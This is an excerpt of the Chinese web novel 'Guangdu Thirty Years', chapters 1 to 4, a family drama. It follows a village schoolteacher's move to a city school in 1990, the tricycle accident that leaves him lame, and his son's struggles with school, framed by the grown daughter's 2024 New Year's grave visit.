《广都三十年》 1. 第1章 《广都三十年》全本免费阅读 2024年,元旦。 “别怕,放轻松。”牙医的声音很温柔,可林羽翼看见从嘴里飞溅而出的血沫,听见锤子咚咚敲在自己牙齿残根上的声音,实在没办法不害怕。 “李医生,您轻点儿。”坐在一旁的师涟语气同样紧张发涩。 “师主席,拔牙的又不是你,你紧张什么?”话音一落,随着“咔”一声脆响,林羽翼的牙齿残根被彻底拔除,李医生捧着她的下巴仔细检查一下,缝合完毕,在伤口处放上一块棉花,“观察半小时,中途不要说话。” 离开牙椅的那一下,林羽翼丢掉的半边魂魄终于钻回来,紧绷的身体一放松,霎时间软得一动也不想动。 林羽翼坐在角落里眯神,医院里没再来病人,旁边师涟轻轻拍着她的背,和李医生有一搭没一搭地聊起来。 师涟和李牙医都是从川城大学毕业,她们是在学生会共事时认识的,如今也有十来年了。老同学再聚,无非是聊聊学生时代的青春气,再聊聊如今生活里财米油盐的烟火气,聊婚姻,聊孩子,聊事业。 话题跳得很快,李牙医上一句还在说自己带女儿去看了某场川剧表演,看了什么什么艺术展,下一句忽然跳到师涟二人身上: “师主席,上次林总告诉我说,你和她是老乡?” “是,我们都是新村那边的。” “新村……?”李医生怔了片刻,终于想起蜀都城南那个仿佛被遗忘的村落,不由得感慨道,“真是不容易。” …… 一直闭眼小憩的林羽翼听到这句话,忽然睁开了眼。 她知道李牙医这句话是什么意思。 她和师涟,两个从被世界遗落的贫苦村落里走出来的小女孩,居然能一直迈步向前,走到现在的位置,真是不容易。 林羽翼安静看着医院里的一切,这是一栋由三层联排别墅打通而成的独立建筑,总面积估摸着有上千平,医院装修很豪华——是那种温馨明亮简约大方一点儿也不高调,却一眼能看出豪华的豪华。 走廊里弥漫着咖啡香,诊室里实习生忙碌的身影来来往往。 这是蜀都城中心,寸土寸金的位置。 林羽翼听师涟提起过,李医生是从川西大山里走出来的。林羽翼不由得想,李医生你出生在那种地方,如今却能在这里开一家这么大规模的牙科诊所,你一路走来才是真正的不容易。 …… “没有流血了,回去好好休息,不要刷牙,不要用吸管,不要吃硬物……”在李医生温柔的嘱托声中,林羽翼和师涟走出诊所。 “疼吗?”师涟想戳一戳林羽翼微肿的脸,忍住了。 “不疼,你师妹技术好。不过待会儿应该会疼一会儿……现在麻药还没过呢。”林羽翼捂着毫无知觉的半张脸,叹了声,“新年第一天就得来拔牙,哪儿有我这么倒霉的?待会儿还得回老家,啊……” 两人说着,已经走到车旁,这是一辆银色的SUV,去年很火的纯电智驾版本,车身看起来简素大气,车内科技感十足。 林羽翼散架般瘫在副驾上,望着全景天窗外湛蓝的天空,叹了口气。 “要不,不回老家?”师涟看她这么累,不由得轻声笑。 “还是得回去的。”林羽翼摇摇头,“要去给爸妈上坟,而且有段时间没去见哥哥和心宜姐他们,再说了,你不也要回老家?我还得蹭你的车呢。” 林羽翼不喜欢开车,她和师涟老家都在新村,现在两人一起住在广都城边,又是一个小区的邻居,今天又都要回老家,所以师涟陪她来看牙,看完顺便送她一程。 师涟用语音输入导航,忽然惊诧地“咦”了一声。 “嗯?” “从这里到新村,居然只要二十来分钟。”师涟启动汽车。 “这么快啊……?”林羽翼也跟着愣了一下,“我还以为要一小时呢,从这里开车到广都镇都得一个半小时吧。” 她查了查手机地图,不可思议地发现,她从小到大一直以为无比偏僻的新村竟然在蜀都城绕城边,离城区只有那么一点点的距离。 林羽翼现在住在蜀都城南边际的广都镇,这座小镇离蜀都城很远,但随着时间的发展,它竟然悄无声息地成为蜀都南边最发达繁华的一隅。 而林羽翼的老家新村,分明就在蜀都城边,却好似被这座大城遗忘了似的,到现在还只是一个不知名的偏远小村落。 汽车驶出三环,窗外景色风一般地变化,从老旧拥挤的摩天大楼变成一望无际的田野。冬天的田野是枯黄干燥的,林羽翼开窗,迎来一脸沙层飞扬的风。 宽阔的沥青路面被来来往往的大货车压得坑坑洼洼,感受着SUV起起伏伏,林羽翼有些晕车。 还好很快就到了。 汽车停在路边的一条土路分叉口处。 土路左边是一栋早已废弃坍塌的茅草屋,右边是一栋带商铺的自建房,这会儿商铺里哐哐麻将声正吵得厉害。沿着土路往里看,一路上隔三差五就立着个自建房院落,到尽头,总共有三五家人。 师涟老家村子离这里还有一段距离,林羽翼就在这儿下车。 “等等。”师涟叫住她,“今天元旦节,不提点儿东西回去?” “这不忘买了吗?”林羽翼无辜摊了摊手,一大早就去看牙,她哪记得买东西啊。更何况她和她哥的关系……没必要买什么大礼包做什么表面功夫,她自己也懒得,最多就被邻居们嚼嚼舌根,她不在乎。 “后备箱里有,你选一些吧。”师涟早就料到了般,打开后备箱,“不管怎么说,也算是心意,你哥他们嘴上不说,心里肯定也开心。” 林羽翼沉默片刻,最终没有拒绝师涟的好意,她左手拎一箱舒化奶,右手一袋大礼包,无奈地向师涟告别:“下午见。” “下午见。” 林羽翼踩着土路往里走,这条土路维护得不错,部分路面做了硬化,所以并不难走,她走得很快,拐个弯下坡,迎着竹林往前几步,迎面就是一栋老旧的二层小楼。 很典型的农村砖石自建房,墙面瓷砖早已染上洗不掉的污色,小楼一层没有窗户,二层玻璃窗里漆黑一片,在干燥的冬天竟然透着股湿漉漉的腐朽气息。 小楼外的院子倒是很宽,里面停着一辆二手油车,几辆电瓶车,两个七八岁的女孩正在里面追逐笑闹,门口瘸腿的大黑狗“汪”了一声,两个小姑娘齐齐望过来,看见提着红色大口袋的林羽翼,她们眼睛亮晶晶地冲过来: “姨姨!” 林羽翼脚步微弱地顿了一下,突然有点后悔,就算没必要给哥哥做人情带礼物,早知道给小朋友买点儿什么了。 她立马加快脚步迎上去,把礼包放在一边,蹲下身子张开手臂,任由两个小姑娘重重撞入自己怀中:“小王大王,新年快乐。” 哥哥和嫂子都姓王,生了这对双胞胎女儿,干脆就给她们取了大王小王这个小名。 “回来啦?”紧接着探出头来的是一个头发微白的中年男人,他皮肤是深沉的小麦色,因为经年累月的劳作而显得粗糙,只看皮肤状态和花白的头发,他像是个苦命老头,但偏偏他的身体十分壮硕健康,身姿挺拔似二十七八的小年轻,两种气质杂糅在一起,有种奇异的违和感。 抛去气质不谈,只看五官,他和林羽翼竟然有几分相似。 同样是锋利有棱角的下颌,同样是深邃明亮的黑眸,同样是立体挺拔的鼻梁。 他是林羽翼的亲哥哥,王登高。 “哥。”林羽翼抬头,看着眼前的男人,语气不自觉变软了一些。 “嘿,回来就回来,还带什么东西?”王登高瞥见那两个礼盒,单手拎起来,絮絮叨叨,“拔牙疼吗?我给你煮了瘦肉粥,中午你就喝粥,就着新鲜豌豆颠——你能吃青菜吗?没问题吧?” “麻药还没过,不疼,能吃,没问题。”林羽翼搂着两个小姑娘往院子里走,无奈笑着挨个回答哥哥的问题。 “小鸟!回来啦!”紧接着是另一个女人的声音,女人三四十岁的样子,一双柳叶眉懒散地弯着,唇角百无聊赖地勾着,身子自在的靠着墙,她的皮肤没怎么保养,头发随意弄卷,尽管接近中年,却依旧能够从她五官中瞥到年轻时的一隅美貌。 “心宜姐。”林羽翼笑着喊了声。 这是她哥哥的妻子,王心宜。 “你怎么还带东西了?”王心宜看见那两包礼盒,和王登高如出一辙的反应,瞥一眼便盯紧林羽翼微肿的脸颊,想要盯出个花儿似的,“拔牙顺利吧?疼吗?中午你哥给你煮了粥,我再给你下点儿新鲜豌豆颠,你能吃吗……” “顺利,不疼,能吃……”林羽翼乖乖把刚才的话又答了一遍。 大小王两个小姑娘这时也反应过来,眨巴着大眼睛跟着问:“姨姨拔牙了?拔牙疼吗,流血了吗?是不是很吓人……?” “……” 一片笑闹声中,一家人准备好上坟的祭品,一锅白煮鸡,一盘耙耙柑和苹果,还有几大包纸钱,硬是往后山走出了浩浩荡荡的感觉。 进村那条土路的尽头是田野,田野的尽头是小山。 准确的说,不是小山,只是一个杂草丛生的无名山坡,山上只有零星几棵树。两个小孩蹦蹦跳跳地走在前面开路,干枯的草丛已经没过她们大腿。 “小鸟,你还记得吗?以前这里是个树林,我们小时候最爱在这儿捉迷藏,爸就在旁边当裁判。”阳光下,王登高笑意灿灿的眼眸里反射着光点。 “记得。”林羽翼看向王登高手指向的干枯鱼塘,有两只狗儿在里面追逐打闹,把枯萎的芦苇草翻出一层层金色浪花。 林羽翼依稀记得,小时候,那里还不是鱼塘。 是一座郁郁葱葱的小山。 那时的林羽翼很喜欢在那里和哥哥追追打打,累了就一头栽进父亲的怀中,向他控诉哥哥有多可恶多丧心病狂一点儿也不知道让着自己。 父亲杵着拐杖站在树荫下,温和无奈地揉揉她的脑袋,哥哥在旁边笑得灿烂。 后来…… 哥哥去广都城里打工了。 父亲过世了。 打沙采石的浪潮渐渐兴起,那座小山一点点被推平了。 她自己也长大了。 …… 野草最多的地方不是山坡,是坟堆。 林羽翼三人和两个小姑娘一起,艰难地拔完野草,累得气喘吁吁蹲坐在小坟堆前,看着那一左一右挨在一起两个简素的墓碑,陡然安静下来。 左边墓碑写着王大元,他是林羽翼和王登高的父亲。 在那个年代,他是村里为数 2. 第2章 《广都三十年》全本免费阅读 现在是1990年。 这时王大元的腿还没有瘸,他的事业正蒸蒸日上。王登高是个十岁出头的小学生,正是对一切都充满好奇与探究的年龄。而林羽翼只是个牙牙学语的小孩,她对世界的记忆还很模糊。 所以暂时她还不是故事的主角。 王家父子俩才是这一幕的主角。 …… 三蹦子在荒凉田野中穿梭大半小时,不知什么时候走到宽阔的公路上,两边深绿色田野被一栋栋延绵的三四层小楼取代。 周围不知不觉挤满了骑着自行车的人群,叮叮当当车铃声响个不停,一辆土灰的公交车超过三蹦子,尾气呛得王登高一阵干呕。 “咳、咳咳……”王登高被呛得恶心,一边捂住妹妹的口鼻,又一边更激动地往公交车远去的方向张望,一双眼睛亮得厉害,“爸!我们要到了!前面就是广都城了!” 王大元目光柔软地掠过儿女,又抬眸看向不远处的那座城,他的眸光朦朦胧胧轻微闪烁,搭在膝盖上的双手不自觉捏紧裤子布料,指尖轻轻摩挲。 “呼……”王大元深深吸一口气,呼掉。 王登高丝毫没注意到父亲的异样,小小的人儿还站在车厢上,脑袋往四周张望个不停,生怕错过什么有趣的东西。 “爸!你看桥边,有人在卖老虎牙,你说这是真的吗?爸,爸!糖葫芦!我们给妹妹买串糖葫芦怎么样?爸你理理我啊……诶小鸟你看,前面路上有杂耍队!小鸟你想吃糖吗?大白兔奶糖,哥哥拿压岁钱给你买……” 河风腥凉,吹散夏末最后一丝燥意,三蹦子跟着拥挤的人群,骑上石拱桥,慢悠悠路过桥两边的摆摊贩,沿途经过河岸边物流层高的漂亮楼房,与穿着艳丽的杂耍队擦肩而过,驶入嘈杂热闹的正街。 没几步,就到了广都小学校门口。 和热闹的大街相比,小学门口显得很安静,甚至算得上清幽。一条两边种满桂花的小径通向深处,茂密树林被修剪得很整齐,枝丫被阳光映照在地面的影子都排成一排。 “到了。”王大元下车,一手把女儿抱下来,儿子已经轻巧地跳到地上,像只小皮猴。 “爸!”这只皮猴一跳下车,就迫不及待往学校里张望,咋呼地大喊出声。学校的铁门正好被推开,一对穿着正装的夫妻一左一右牵着女儿的手从学校里走出来。 男人穿的是整洁的西装衬衫,领口袖口打理得尤其干净,女人穿的是一袭红色长裙,遮阳帽遮了半边脸,露在外边的口红和裙子一样艳,珍珠耳环反射着光。 小女孩和王登高差不多的年纪,穿着清新漂亮的碎花裙,小皮鞋擦得锃亮,两条小辫子一甩一甩。似乎是被王登高的喊声吓到了,她皱眉看了王登高一眼。 王登高脚步顿住。 其实女孩只看了那一眼,然后就毫不在意地移开目光,蹦蹦跳跳地和父母一起走到路边,坐上停在那里的黑色桑塔纳轿车。 那辆轿车停在王家雇来的破旧三蹦子旁。 王登高看着那辆漂亮的汽车远去,回过神来,看看自己和妹妹、还有爸爸身上脏兮兮的深色布衣,再看看妹妹那一头鸟巢似的杂乱短发,他局促地抿了抿唇,身上的兴奋劲儿瞬间没了大半。 “爸,这就是……”王登高下意识走到父亲身后,逮住他的袖口,有些怯怯地往学校小道里瞟,声音很低。 “嗯,这就是你以后读书的地方,也是我以后工作的地方。”王大元牵住儿子的手,另一边牵着女儿,稳步往学校里走。 他们被保安拦下来,王大元掏出一叠身份证明,保安认真检查完毕,才放他们进去。 三人的脚步声簌簌落在林荫小道上,走了好一会儿,王登高回头张望,确定保安亭离这里有一段路程,他才低声继续说:“爸,这里和以前的学校一点儿也不一样。” “哪儿不一样?” “以前的学校……没有校门,没有整齐的花花草草……也没有那么漂亮的教室……”从他们的视角往林荫小道外看去,已经能看见一整排白砖青瓦干净整洁的教学楼。 教学楼尽头的建筑是新修的图书馆,特地凹了个新潮的球形外立面。更远的地方是操场,隔得太远,只隐约看见红绿相间的跑道。 王登高在乡下读书时,小学只有六间教室,教室外是一个坑坑洼洼的土坝子,别的啥也没有,偶尔下暴雨房顶还漏水。听王大元说,现在乡下小学条件都算好的呢,他刚开始教书的时候,学生还得自己背着桌椅板凳上学。 “这不是好事吗?”王大元温和地反问,说话间握紧了儿子的手,“这里条件好,你以后学习也轻松些。你以后就在这儿安心地学,考个好中学,再考个好大学,争取留在城里。” “爸……”王登高抬头看着父亲的侧脸,他想说自己有点害怕,又想说自己不是学习的料,但最终什么都没说出口,他感觉爸爸今天有点心不在焉。 走过林荫小道,走过小花园,终于到达安静的教学楼边,王登高脚步放得很轻,他感觉他们三个人的脚步踩在干净瓷砖上发出的声音,不像是落了三根针,反倒像是双脚踩在稻田泥水里的哐叽声,刺耳得厉害。 最终,三人停在一间办公室前。 暗沉木质双开门,门缝微微敞开,王登高不敢往里看,只听见里面有人叽里呱啦地在打电话,听不清说的什么,声音很平静,却很有力量。 王登高下意识牵着妹妹后退几步,王大元安静等在门口,直到讲电话的声音停下,他才抬手,拳头在空中顿了片刻,随即重重叩在门上。 “咚、咚、咚。” 声音不大,却在安静的教学楼里回荡开,每叩一下,王大元的身体就绷得更至一些。 “请进。”门里的那人很快回应,王大元悄然松口气,回头指了指墙壁边的长凳,示意王登高带着林羽翼好好坐那儿等他。 “李校长,您好,我是王大元,黄校长提前联系过您,说过我的情况……”王大元走进办公室,目光只稍稍掠过墙上那些荣誉证书与摆件,看都没看一眼精致的木质沙发与茶几,径直走到办公桌前那人面前,温良笑着弯腰与他握手。 “王老师您好,请坐请坐。”李校长比王大元还大几岁,看上去却比他年轻许多,一头乌黑发亮的头发抹了蜡,脸上戴一个黑色眼镜,显得文质彬彬,唯有眉头消不掉的那几缕皱纹暴露他真实的年纪。 王大元坐下,从包里递上自己的文件,双手不安地在身前交握。 李校长一页一页地仔细翻看过文件,语气温和:“王老师您别紧张,我们认真看过你的履历,你教书接近二十年,带出来的优秀学生数都数不过来。黄校长那边也对你的评价非常高,我们当然是信得过他的,也信得过你的教学能力。不过还是有一些问题要问一下,走个流程嘛。” “了解,有什么您问就是了。” 沉默片刻,办公室里只剩下纸张翻动声,明明只有几分钟不到,王大元却感觉过了几小时。 终于,李校长放下资料,微笑看着王大元:“王老师,我知道你很看重也很珍惜这次的转正机会,但我这几天一直有点疑惑,履历里写,你在80年的时候参加高考,你高考明明考上了,为什么不去读?要是读出来……就不一样了啊!” 李校长说着有些激动,似乎是替他惋惜:“那时候高考,多不容易的机会啊,你自己也准备很久了吧?怎么说不去就不去了?” 80年,已经是十年前的事情了。 王大元张了张嘴,目光下意识往门缝外瞟,指尖捏紧,又松开,他笑得温和释然:“那年我儿子出生了,我和妻子都没有预料到。我们家没有什么别的人,经济状况不太好,而且妻子她身体很差……所以……” “那后面几年呢?后面几年怎么不继续考了?你头两年都能考上,更别说后面啊。”李校长皱眉,脸上写满可惜。 民办教师转正不容易,更别说王大元只是个小学老师,他当年要是去读大学,别说小学编制了,说不定现在都能在大学里当教授呢! “后面几年……”王大元依旧往门缝外瞟了一眼,他的笑容敛去一瞬,语气平静,“我妻子过世了。” 李校长随着王大元的目光,往门缝外看了一眼。 门缝外,两个小孩规规矩矩地坐在长椅上,暖色光影洒在他们身上,哥哥牵着妹妹的手,乖巧又好奇地四处张望,对上门缝里的目光,两个小孩立马局促地埋下头,妹妹下意识往哥哥怀里缩了缩。 一点儿声音都没有发出。 李校长默然收回目光:“抱歉。” 话题紧接着转入正轨。 “那么王老师,您的基础情况我们了解得差不多了,我们学校的情况你也知道吧?我们不提供住宿,课表和排班我们之后给你,你安排好时间……你知道,民办教师转正的名额不好弄,今年新学期有好几个大学生报名来我们学校呢!如果不是黄校长那边力荐你,真挺难的……唉,虽说也算是板上钉钉的事情了,不过该有的考核还是得有,三个月试教考核期,通过了,这资格差不多也就办下来了,王老师,您说没问题吧?” “当然当然,没问题,谢谢李校长。”王大元心里一颗石头落地,接着又捏了捏衣角,“李校长,登高他转学的事儿……” “这没问题!他读四年级是吧?我看看……四年三班人少,下午我去和班主任说一声就成,明天开学,你来上班的时候顺便带着他去班上报道。” 王大元连声说了几个谢谢,捏着衣角的手却一直没松开:“我家登高他成绩不太好,我怕他……会不会融入不进去。” “这有啥?”李校长拍拍王大元的肩膀,脸上露出了然的笑,都说名师不一定是好家长,王大元也是一样的,他从贫苦的农村带出不少好苗子,最厉害的考进了城里七中,说不定能拿高考状元呢!可是王大元自己的儿子呢?成绩差得一塌糊涂,才读完小学三年级,门门科目都不及格,压根不是读书的料。 李校长说着安慰话:“你别想那么多,男孩子嘛,开窍都晚。登高他才四年级呢,再过个两年,成绩自然而然地就上去了。我看这孩子懂事得很,将来准有出息。” 门缝外,王登高正抱着妹妹,安安静静地比手指给她看。他的手指很灵活,一会儿变成小鸟,一会儿变成恐龙,三两下把林羽翼逗得满脸笑,他又立马比了个“嘘”的手势,示意林羽翼注意安静。 “还有我女儿她……在家没人照顾。”王大元声音很低。 “这也没关系,你可以带她来学校,带儿女来工作的老师也不少,只是基本都是女老师,就你一位男老师,你别觉得不好意思就成。” …… 办公室门从里面被推开。 王登高抬头,看见父亲一个人从里面走出来,脸上带着轻松的笑意,王登高心里的紧张跟着消散几分,一个箭步蹦到爸爸身前,压抑着激动: “爸,办好啦?” “嗯,办好啦,我工作的事儿定下来了。”王大元眉眼弯起一个柔和的弧度,抬手拍拍王登高的脑袋,“你转学的事情也定了。” “真好!”王登高往前蹦几步,从教学楼的瓷砖阶梯跳到花园里,他忽然想起什么,眨巴眼,“爸,你……” 看着王登高欲言又止的模样,王大元不由得笑着摇摇头:“放心,我不教你那班。” 王登高脸上这才咧开一个笑,眼看王大元手掌就要打到自己头上,他立马笑嘻嘻躲开:“爸,我可不是不愿意当你的学生,主要是……我、我这不是怕气着您吗?我那破成绩,您还是少看为好。以前学校里就那么几个老师,您那是没办法,现在嘛……嘿嘿……” …… 离开学校,王大元紧接着去做了两件事。 第一件事去城郊的三蹦子交易市场,选一辆二手的三蹦子。学校提供宿舍,但王大元带着两个小孩,始终不方便,还是得通勤上班。 王大元并不熟练地和老板讨价还价大半天,最终一手交钱一手拿车钥匙。 王登高在一旁,新奇地看看自家第一辆三蹦子,再看看父亲手里递出去的红票子,止不住的肉疼。 虽然年纪不大,但王登高清楚地知道,就算在贫困的农村,他们家经济条件也算是非常差的那一档。 他无意间听村里人说起过很多次: “王老师真的是,吃了老实的亏哦!小学老师的工资本来就不高,他还不是正式工,那点儿钱养两个娃娃,哪儿够嘛?问题是他管学校的账的哇!哎呀,就算不明着吃钱,不去干吃回扣那种事儿,他暗地里和学校的桌椅啊书本啊那边的供货的打好关系,逢年过节也能拿点儿吃的回家嘛,哪儿至于过得那么差?他就是太老实了!” “他身体还那么恼火,种地又种不成,只靠那点儿死工资,把两个娃娃养得瘦不拉几的。你看隔壁大院王二哥,七几年在队上管账,一样是管账,工资还不如人家老师,轻轻松松就把几个娃娃拉扯大,哪儿有他那么不容易?” 王登高知道,村里人说起闲话时,不一定带有恶意。但他每次听到这些话时,依旧会感觉……心里闷得厉害。 “来,上车试试!” 王大元脸上明媚的笑意驱散王登高心里肉痛的感觉,他三两下跳上车,又把妹妹拉上去,激动地问:“爸,你还会骑三蹦子?” “那当然咯,给 3. 第3章 《广都三十年》全本免费阅读 接下来的两个月,大概是王登高人生中最快乐的一段时光。 在城里读书这件事其实并没有王登高想象的那么“高不可攀”,城里孩子下课时还不是和农村孩子一样在外面滚来滚去地玩,只不过场地从泥坑变成了大花园。 就连王登高在开学前一天遇见的那个漂亮小姑娘——在他心里简直是小公主一样的存在,不也会和别人一起跳绳扔沙包,放学时弄得校服上一身脏。 她还送了王登高一盒纸折的千纸鹤呢。 嗯……倒也不是特意送的,是班上迎接转学生的活动,每个人都给王登高准备一个小礼物。班主任老师发起的,说是要让王登高尽早融入班里。 王登高的确很快和班上的小孩们打成一片,短短两周就混成孩子王,一下课就领着一群小崽子在校园里到处乱晃,神气得紧。 放学后的生活也很快乐。 王登高觉得广都城好大好大,城里有数不清的人,城外有数不清的车,有三蹦子、有公交车,还有小汽车呢!他蹲在路边看人来人往车流穿息,就已经觉得快乐得忙不过来了。 更别说有些时候他放学了,但爸爸还有事儿要在学校里忙,他可以自己在城里的大街小巷里穿梭,在建筑工地外的水泥堆里滑上滑下,到河边看人养鸭子,到贸易市场里笑嘻嘻地和阿姨叔叔们聊天。 这之前,王登高对梦想两个字的理解还很模糊,但现在无论是谁问起他,他的梦想是什么?他都会仰起脑袋无比郑重地回答: “我的梦想是住进广都城里。” 不过这段时间,最让王登高感到快乐的事情,是他家明显变得“有钱”了。 每天下午从广都回村里的路上,路过杂货铺,爸爸都会停下三蹦子带他们兄妹两去买点儿小零嘴,各式各样的糖果,沙仁条,地瓜干,以前过年都很难吃到,现在竟然可以随时吃了。 家里漏水的房顶终于请人来彻底修好了,米缸随时都是填满的状态,村里人看他们的目光逐渐变得羡慕。 村里人也不再在背后议论他家了,而是当面说:“大元就是能干哦,教书教到城里去了,听说马上就要转正?这下子你们家后半辈子不愁咯。” “文化人就是不一样,别看大元平时看起来老实好欺负,结果呢?一声不吭跑到城里面,还是广都城哦!和我们这些干活路(注1)的就是不一样。” “这就叫啥?那句话囊个说来着?不鸣就算了,一鸣就惊人!” 尽管村里人的话间多多少少带着酸味,但王登高依旧听得非常快乐。 …… 只可惜,他的这份快乐,只持续了两个月。 一切终止于十月底的一场秋雨。 书里的秋雨都是连绵温柔的,像细纱一样柔软,像雾气一样氤氲,又像江南小调般温婉勾人,总而言之……书里的秋雨,没有一丝攻击力。 但那场秋雨,和书里的雨没有一丁点儿相似。 那是秋天的最后一场雨,夜晚过后,狂风刮得整座后山都在呼啸,老旧的木门被吹得哐哐响,斜风带着雨丝从屋缝里渗进来,针一般刺在人骨头上。 雨就是这么噼里啪啦地砸下来,砸在瓦房上,砸在泥土上,砸在后山树林里,霹雳哗啦,整座山仿佛都在共鸣。 屋里,老旧的电灯彻底歇菜,一片漆黑的堂屋里,王登高只能点着蜡烛安慰被吓得瑟瑟发抖却意思声音都没发出来的妹妹。 这场雨其实算不上暴雨,蜀都夏天的雨可比它恐怖多了。 所以没多久,王登高就和妹妹一起坠入梦乡,然后第二天照常早起,准备去城里上学。 利落地洗漱完毕,王登高拿一张帕子,和爸爸一起擦三蹦子。昨晚三蹦子被淋了一夜,这会儿看上去跟落汤鸡似的,擦干后却显得跟新的一样。 “只可惜今天来回跑一趟,那些泥水都可以在它身上做一幅水墨画。”王大元是语文老师,平时说话都是这个调调,喜欢用比喻,“上来吧。” 他话音刚落,三蹦子突然发出一声凄厉的嘶鸣声: “嘟——!” 王登高耳朵被刺疼得直皱眉,第一时间去捂妹妹的耳朵。 “没事儿,昨晚雨大,把喇叭电路浇得有点短路了。”王大元用力拍拍三蹦子表盘,拍得嘭嘭响,“今天先将就着吧,下班我把它骑去修一修。” “好。”王登高坐上三蹦子后车厢,心有余悸地离车头远了些。 三蹦子开出小院,外面雨雾还没有完全散去,路两边青绿朦胧的田野景色如一副水墨画。 路也看不太清楚,因此王大元骑得很慢,很小心。 只是一路上土路坑坑洼洼,轮子陷进柔软黏腻的泥土里,又艰难拔出来,打滑一下,难免带起一串串泥沫子。林羽翼好奇地想伸手去捞泥沫子,被王登高止住了:“别,脏兮兮的。” 就算不伸手,泥沫子依旧会溅进车厢,溅到他们身上。 看见校服上的泥点点,王登高心疼死了,抱着妹妹努力躲避飞溅的泥水,小小的身躯在后车厢里灵魂地窜来窜去。林羽翼以为这是一场有趣的游戏,咯咯笑着去抹哥哥的脸。 意外就是在这时发生的。 眼看朝阳就快升起,雾气即将散去,雾中突然传来一声分辨不清方位的诡异“滋滋”声,像是指甲尖用力擦过黑板的尖利嘶鸣,却又附带着蒸汽火车开过时极具节奏感的“哐哄”声。 当然,王登高那时是想不出这些形容词的,他听到声音的那一刻,脑海里只有一个想法: 有只怪物要从雾里冲出来了。 下一秒,怪物出现了。 是一辆开得歪七八扭的大货车,像一只喝醉了酒的巨大怪物,摇摇晃晃向他们冲来。“滋滋”声是货车司机努力刹车控制方向却又怎么都控制不住、车轮不断与泥地反方向摩擦发出的,“哐哄”声是未满载的货物在后车厢里不断飞撞发出的。 那一刻王登高整个人都傻了,直到很多年后他也不记得那一刻发生了什么,等他回过神来,他已经抱着妹妹翻滚在泥地上,远离了三蹦子车厢。 妹妹惊恐的哭声,和其他声音交杂。 “哐”一声巨响。 不是大货车撞向三蹦子的声音,在最后关头,大货车司机掌控住了车辆的行进方向,贴着三蹦子飞出一段距离,然后终于停在路边。 但三蹦子依旧翻了,王大元慌乱时熄火踩了急刹,失去动力的三蹦子撞进一个泥坑里,上千斤的铁物“哐”地侧翻在地。 王大元双手本能地死死握着龙头,忘了松开。 他被压在了三蹦子下。 准确的说,是他的腿被压在了三蹦子下。 4. 第4章 《广都三十年》全本免费阅读 王大元在床上休养了很长很长一段时间才能站起来,当他第一次杵着拐杖从黑洞洞的堂屋里走到院里,冬日里金灿灿的阳光洒在他身上,把他花白的头发也照得微微发亮。 王大元整个身体极不熟练地靠在拐杖上,他仰头,虚着眼睛感受冬日寒凉的日光,眼角不知何时浸出泪点。 王登高就在一旁看着这一幕,他蓦的发现,短短几个月,父亲的背影佝偻不少,原本青葱的头发也变得花白。 父亲老了。 之后的日子没什么可说的。 王登高因为照顾父亲请了长假,这会儿再回城里上学跟不上进度,更何况家里有瘸腿的父亲和年幼的妹妹,他也没法安心跑那么远去读书,于是他又回到乡上小学。 家里的财务状况并不好——说很差也算不上,王大元每个月的补贴,还有他曾经的学生时不时来家里看望,顺手就带些吃食当礼物,广都小学那边也发放过几次慰问品,一家三人吃喝倒不是问题。衣服有大院里哥哥姐姐们穿旧的,也不至于冷着热着。只是和王大元在广都城里工作那段时间相比,差得太多。 王登高那套洋气的海军校服渐渐变得乌漆嘛黑,和他其他的衣服再没有区别,林羽翼整齐的锅盖头再次变回了鸟窝,每天像个野孩子似的在山里跑上跑下。 王大元暂时没有回乡上教书,他在家沉寂了很长一段时间,每天不是闷在屋里拿着执笔瞎写瞎画,就是到后山山脚的树下坐着发呆,一坐就是一整日。 一直到第三年秋天,林羽翼小学入学的那一年,王大元终于回到学校,担任起女儿的语文老师。 而这时,王登高小学已经毕业,他学习一直不好,小升初这个关键点自然也没发生什么奇迹,他没考上初中。 在九十年代的贫苦农村,没考上初中的孩子基本只有两条路。 第一条,在家里无所事事地玩几年,等年龄大了就跟着父母出门打工。第二条,立刻马上出门打工。 王大元为王登高选择了第三条路,他拖着残腿去了趟广都,想尽办法求着广都小学的李校长,到处托关系,替王登高争取到了一个到镇上初中借读的名额,然后借一大笔钱,把王登高送了过去。 就这样,王登高在镇上读了三年书。 然后…… 就像是小升初落榜那次一样,初升高他也落榜了,就像是水往低处流这种亘古不变的真理一样,王登高落榜落得顺理成章,没有丁点儿意外。 王登高对此倒是很淡然,他本来就不是学习的料,他觉得自己能够安分守己地多在教室里呆三年,多听三年的天书,整整三年啊!最后把毕业证给拿到手,已经很了不起了。 王登高知道,家里的钱本来将将才够温饱,为了供他这三年借读,父亲还倒欠了一大笔钱。而他呢?读了三年只拿了本毕业证,要是不读,他早赚到大几千的钱回来供家里了! 这下子,王登高说什么都要出去打工了。 然而就像小升初落榜的那次一样,一向沉默寡言、尊重儿子意愿的王大元,坚定地发表了反对意见。 “不可能。” 王大元正坐在院子里编藤编——乡里民办教师的工资不高,每逢丧喜虽然有人雇他写字,但次数太少,也赚不了几个钱,家里的收支供不了儿子读书,而他的身体又没法做体力活,只能有空就学着编藤编,编成扫把和簸箕,赶集的时候去乡上卖掉。 听到儿子说要去打工,王大元捏着藤条的手指倏地顿住,他的目光默然盯着手里即将成型的藤编,缓慢而又坚定地说出那三个字。 不可能。 三年前,当王登高说出自己要去打工的想法时,他也是这么回应的。当时,王登高只是沉默地低下头,倔强地与他僵持几分钟,最后妥协地拿起书本去了初中。 这回,王登高却一下子皱起眉,声音陡然拔高几度,带着点儿咄咄逼人的气势:“为什么?” “不去打工,我能去干什么?”不等王大元回答,王登高就嘲讽一般笑出声,“要我继续读书?我高中都没考上,读什么读?还是说你要借钱供我去借读?我打听过,高中的择校费比初中贵了好几十倍!我们家倾家荡产都凑不够这钱!” 这回,是王大元低着头,沉默许久。 最后他说:“去读职高。” “读职高干啥?” “学一门技术。” “学技术,然后呢?” “……”王大元默然。 王登高蹲下身,仰头看着父亲苍老的脸:“去读职高,学一门技术,然后出门打工……有意思吗?和现在有区别吗?我现在出去打工,也能学技术,更重要的是,不但不用你借钱,我还能赚到钱,不好吗?” 王大元佝偻着身体坐在小木椅上,他放下手中的藤编,粗糙的手指抹一把额头上的汗水,认真盯着王登高的眼睛: “去打工?你能找到什么工作,赚到什么钱?” “我怎么就找不到工作了?我这么年轻,身体这么壮实,我长得比你高一个头!我去工地都得被工头抢着要!就算我找不到工作,回村里把我们家的地要回来,我每天就专心种地去城里卖菜,都能赚个百八十!” 王大元身体羸弱,干不了农活,因此他家菜地很早就包给了大院里的邻居。这年头菜地不值钱,邻居也就逢年过节给他们送点儿菜,当做租金。 